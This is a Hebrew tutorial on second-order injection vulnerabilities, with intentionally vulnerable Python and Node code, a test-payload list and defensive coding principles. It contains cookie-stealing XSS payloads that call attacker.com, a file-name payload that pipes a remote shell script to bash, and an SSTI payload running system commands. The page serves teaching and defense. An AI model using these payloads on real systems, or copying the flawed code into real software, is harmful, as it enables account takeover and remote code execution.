חולשות מסדר שני - Second-Order Attacks¶
מבוא¶
חולשות מסדר שני הן חולשות שבהן ה-payload מוזרק בשלב אחד אבל מופעל בשלב אחר, לעיתים בהקשר שונה לחלוטין. זה הופך אותן לקשות מאוד לזיהוי - כי נקודת ההזרקה ונקודת ההפעלה מופרדות.
בחולשה רגילה (מסדר ראשון), ה-payload מוזרק ומופעל באותה בקשה. בחולשה מסדר שני:
1. ה-payload נשמר במערכת (מסד נתונים, קובץ, לוג)
2. בשלב מאוחר יותר, המערכת קוראת את הנתון השמור ומשתמשת בו בצורה לא בטוחה
הזרקת SQL מסדר שני - Second-Order SQLi¶
התרחיש¶
נניח שיש לנו מערכת רישום משתמשים:
# שלב 1 - הרשמה (הקלט נשמר בצורה בטוחה)
@app.route('/register', methods=['POST'])
def register():
username = request.form['username']
password = request.form['password']
email = request.form['email']
# שימוש ב-parameterized query - בטוח!
cursor.execute(
"INSERT INTO users (username, password, email) VALUES (%s, %s, %s)",
(username, hash_password(password), email)
)
db.commit()
return "User registered successfully"
# שלב 2 - שינוי סיסמה (הקלט הישן נקרא ונשתמש בצורה לא בטוחה)
@app.route('/change-password', methods=['POST'])
def change_password():
new_password = request.form['new_password']
username = session['username'] # נקרא מהמסד - "בטוח"?
# פגיע! שם המשתמש מהמסד מוכנס ישירות לשאילתה
query = f"UPDATE users SET password='{hash_password(new_password)}' WHERE username='{username}'"
cursor.execute(query)
db.commit()
return "Password changed"
התקיפה¶
שלב 1 - הרשמה עם שם משתמש זדוני:
שם משתמש: admin'--
סיסמה: anything
שלב 2 - ההרשמה מצליחה כי הקלט עובר parameterized query
INSERT INTO users (username, password, email) VALUES ('admin''-- ', 'hash', 'evil@mail.com')
שלב 3 - התוקף מתחבר עם admin'-- ומשנה סיסמה
השאילתה שנוצרת:
UPDATE users SET password='new_hash' WHERE username='admin'-- '
מה שקורה בפועל:
UPDATE users SET password='new_hash' WHERE username='admin'
(הערה מוחקת את שאר השאילתה)
שלב 4 - הסיסמה של admin השתנתה! התוקף יכול להתחבר כ-admin
דוגמה מלאה יותר¶
from flask import Flask, request, session
import sqlite3
app = Flask(__name__)
app.secret_key = 'secret'
def get_db():
db = sqlite3.connect('app.db')
return db
# הרשמה - בטוחה (parameterized)
@app.route('/register', methods=['POST'])
def register():
db = get_db()
username = request.form['username']
password = request.form['password']
# Parameterized - הקלט נשמר כמו שהוא, כולל תווים מיוחדים
db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
(username, password))
db.commit()
return "Registered!"
# צפייה בפרופיל - בטוחה
@app.route('/profile')
def profile():
db = get_db()
username = session['username']
# Parameterized - בטוח
user = db.execute("SELECT * FROM users WHERE username = ?", (username,)).fetchone()
return f"Welcome {user[0]}"
# שינוי סיסמה - פגיע!
@app.route('/change-password', methods=['POST'])
def change_password():
db = get_db()
new_password = request.form['new_password']
username = session['username'] # נקרא מה-session, שנקרא מהמסד
# פגיע! string formatting עם ערך מהמסד
query = f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'"
db.execute(query)
db.commit()
return "Password changed!"
# רשימת משתמשים למנהל - פגיע!
@app.route('/admin/users')
def list_users():
db = get_db()
users = db.execute("SELECT username, email FROM users").fetchall()
html = "<h1>Users</h1><table>"
for user in users:
# פגיע! שם המשתמש מוצג ללא escaping
html += f"<tr><td>{user[0]}</td><td>{user[1]}</td></tr>"
html += "</table>"
return html
XSS מסדר שני - Second-Order XSS¶
התרחיש¶
ה-payload של XSS נשמר בפרופיל המשתמש ומופעל כשמשתמש אחר (או מנהל) צופה בו.
קוד פגיע¶
// שרת Node.js/Express
// עדכון פרופיל - הקלט נשמר
app.post('/profile/update', async (req, res) => {
const { displayName, bio } = req.body;
// הקלט נשמר כמו שהוא - אין סינון
await User.updateOne(
{ _id: req.user.id },
{ displayName, bio }
);
res.json({ success: true });
});
// צפייה בפרופיל - הקלט מוצג
app.get('/user/:id', async (req, res) => {
const user = await User.findById(req.params.id);
// פגיע! הנתונים מהמסד מוכנסים ישירות ל-HTML
res.send(`
<h1>${user.displayName}</h1>
<p>${user.bio}</p>
`);
});
// פאנל ניהול - כל המשתמשים
app.get('/admin/users', async (req, res) => {
const users = await User.find();
let html = '<h1>All Users</h1><table>';
for (const user of users) {
// פגיע! שמות המשתמשים מוצגים ללא escaping
html += `<tr><td>${user.displayName}</td><td>${user.email}</td></tr>`;
}
html += '</table>';
res.send(html);
});
התקיפה¶
שלב 1 - עדכון פרופיל עם payload:
displayName: <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
bio: Normal bio text
שלב 2 - ה-payload נשמר במסד הנתונים
שלב 3 - כשמנהל צופה בפאנל הניהול, ה-JavaScript מופעל בדפדפן שלו
-> Cookie של המנהל נשלח לתוקף
XSS מסדר שני דרך שם קובץ¶
# שלב 1 - העלאת קובץ עם שם זדוני
# שם הקובץ: "><img src=x onerror=alert(1)>.png
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
# שם הקובץ נשמר כמו שהוא
filename = file.filename
file.save(os.path.join('uploads', filename))
db.execute("INSERT INTO files (name, user_id) VALUES (?, ?)",
(filename, session['user_id']))
return "File uploaded"
# שלב 2 - הצגת רשימת קבצים
@app.route('/files')
def list_files():
files = db.execute("SELECT name FROM files WHERE user_id = ?",
(session['user_id'],)).fetchall()
html = "<h1>Your Files</h1><ul>"
for f in files:
html += f"<li>{f[0]}</li>" # פגיע! שם הקובץ מוצג ללא escaping
html += "</ul>"
return html
דוגמאות נוספות של חולשות מסדר שני¶
הזרקת פקודות מערכת הפעלה - Second-Order Command Injection¶
# שלב 1 - שמירת שם קובץ
@app.route('/upload', methods=['POST'])
def upload():
file = request.files['file']
filename = file.filename # נשמר כמו שהוא
file.save(f'uploads/{filename}')
db.execute("INSERT INTO files (name) VALUES (?)", (filename,))
return "Uploaded"
# שלב 2 - עיבוד הקובץ (cronjob או פעולה מאוחרת)
def process_files():
files = db.execute("SELECT name FROM files WHERE processed = 0").fetchall()
for f in files:
# פגיע! שם הקובץ מוכנס ישירות לפקודת מערכת
os.system(f"convert uploads/{f[0]} processed/{f[0]}")
db.execute("UPDATE files SET processed = 1 WHERE name = ?", (f[0],))
# שם קובץ זדוני:
# ;curl attacker.com/shell.sh|bash;.png
# או:
# $(whoami).png
SSTI מסדר שני¶
# שלב 1 - שמירת תבנית מייל מותאמת אישית
@app.route('/settings/email-template', methods=['POST'])
def save_template():
template = request.form['template']
# נשמר כמו שהוא
db.execute("UPDATE settings SET email_template = ? WHERE user_id = ?",
(template, session['user_id']))
return "Template saved"
# שלב 2 - שליחת מייל (הפעלת התבנית)
def send_notification(user_id, data):
template = db.execute(
"SELECT email_template FROM settings WHERE user_id = ?", (user_id,)
).fetchone()[0]
# פגיע! התבנית מהמסד מעובדת כ-Jinja2
rendered = render_template_string(template, **data)
send_email(rendered)
# payload בתבנית:
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
זיהוי חולשות מסדר שני¶
אסטרטגיה¶
- מיפוי נקודות קלט ופלט - זהו כל מקום שנתון נשמר, וכל מקום שנתון שמור מוצג או משמש
- עקבו אחרי הנתונים - עקבו אחרי הנתיב של כל קלט: איפה הוא נשמר, ואיפה הוא נקרא בחזרה
- בדקו הקשרים שונים - payload שנשמר בהקשר אחד עשוי להיות מסוכן בהקשר אחר
- בדקו פעולות מנהל - מנהלים צופים בנתונים שמשתמשים רגילים שומרים
טכניקות בדיקה¶
שם משתמש: admin'--
שם משתמש: <script>alert(1)</script>
שם משתמש: {{7*7}}
שם משתמש: ${7*7}
שם משתמש: ;id;
שם קובץ: test;id;.txt
שם קובץ: test$(whoami).txt
שם קובץ: "><img src=x onerror=alert(1)>.txt
ביוגרפיה: <img src=x onerror=alert(document.cookie)>
ביוגרפיה: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
כלים לזיהוי¶
Burp Suite - שימוש ב-passive scanner שעוקב אחרי נתונים שמורים
OWASP ZAP - סריקה אקטיבית עם פרופיל second-order
ידני - Collaborator payloads בכל נקודת קלט ובדיקה לאורך זמן
אסטרטגיות ניצול מתקדמות¶
ניצול מעוכב בזמן¶
# payload שמופעל רק בפעולה מתוזמנת
# למשל - דוח יומי שנשלח למנהלים
# שלב 1 - שמירת payload בפרופיל
display_name = "<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>"
# שלב 2 - מחכים שהדוח היומי ייווצר ויישלח למנהל
# הדוח מכיל את שמות כל המשתמשים שנרשמו
# ה-XSS מופעל כשהמנהל פותח את הדוח
שרשור עם חולשות אחרות¶
1. Second-order SQLi -> חשיפת credentials -> גישה לפאנל ניהול
2. Second-order XSS -> גניבת cookie מנהל -> גישה לפאנל ניהול
3. Second-order SSTI -> RCE -> שליטה מלאה על השרת
4. Second-order Command Injection -> reverse shell
הגנה מפני חולשות מסדר שני¶
עקרון 1 - סינון בפלט, לא רק בקלט¶
# לא מספיק - סינון רק בקלט
def save_user(username):
safe_name = sanitize(username)
db.execute("INSERT INTO users VALUES (?)", (safe_name,))
# נדרש - סינון גם בפלט, בהתאם להקשר
def display_user(user_id):
user = db.execute("SELECT username FROM users WHERE id = ?", (user_id,)).fetchone()
# HTML context - escape HTML entities
safe_name = html.escape(user[0])
return f"<h1>{safe_name}</h1>"
עקרון 2 - קידוד מותאם הקשר¶
import html
import shlex
import re
def display_in_html(value):
"""להצגה בתוך HTML"""
return html.escape(value)
def use_in_sql(value):
"""לשימוש בשאילתת SQL - תמיד parameterized"""
# לעולם לא להשתמש ב-string formatting
cursor.execute("SELECT * FROM users WHERE name = %s", (value,))
def use_in_command(value):
"""לשימוש בפקודת מערכת"""
safe_value = shlex.quote(value)
os.system(f"echo {safe_value}")
def use_in_template(value):
"""לשימוש בתבנית - להעביר כפרמטר"""
return render_template('page.html', name=value)
def use_in_ldap(value):
"""לשימוש בפילטר LDAP"""
special_chars = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\0': '\\00'}
for char, escape in special_chars.items():
value = value.replace(char, escape)
return value
עקרון 3 - שימוש עקבי ב-Parameterized Queries¶
# כל שאילתה חייבת להיות parameterized, גם אם הנתון "בטוח"
# כי הנתון "הבטוח" מהמסד עשוי להכיל payload מסדר שני
# פגיע
def change_password(username, new_password):
query = f"UPDATE users SET password='{new_password}' WHERE username='{username}'"
cursor.execute(query)
# בטוח
def change_password(username, new_password):
cursor.execute(
"UPDATE users SET password = %s WHERE username = %s",
(new_password, username)
)
עקרון 4 - אל תסמכו על נתונים מהמסד¶
# הנחה שגויה: "הנתון כבר עבר ולידציה כשנשמר"
# הנחה נכונה: "כל נתון, מכל מקור, עלול להיות מסוכן"
def process_data(user_id):
user = db.execute("SELECT * FROM users WHERE id = ?", (user_id,)).fetchone()
username = user['username']
# אפילו שזה בא מהמסד - להתייחס אליו כקלט לא אמין
# ולבצע encoding/escaping בהתאם להקשר השימוש
סיכום¶
חולשות מסדר שני הן מהקשות ביותר לזיהוי ולתיקון. הנקודות העיקריות:
- ה-payload נשמר בשלב אחד ומופעל בשלב אחר - לעיתים שעות או ימים אחרי
- רוב הסורקים האוטומטיים לא מזהים אותן כי הם לא עוקבים אחרי נתונים שמורים
- ההגנה דורשת סינון בפלט ולא רק בקלט - כל פעם שנתון מוצג או משמש, יש לבצע encoding מתאים להקשר
- לעולם לא לסמוך על נתונים מהמסד - הם עשויים להכיל payloads שהוזרקו מוקדם יותר
- שימוש עקבי ב-parameterized queries בכל שאילתה, גם כשהנתון נראה "בטוח"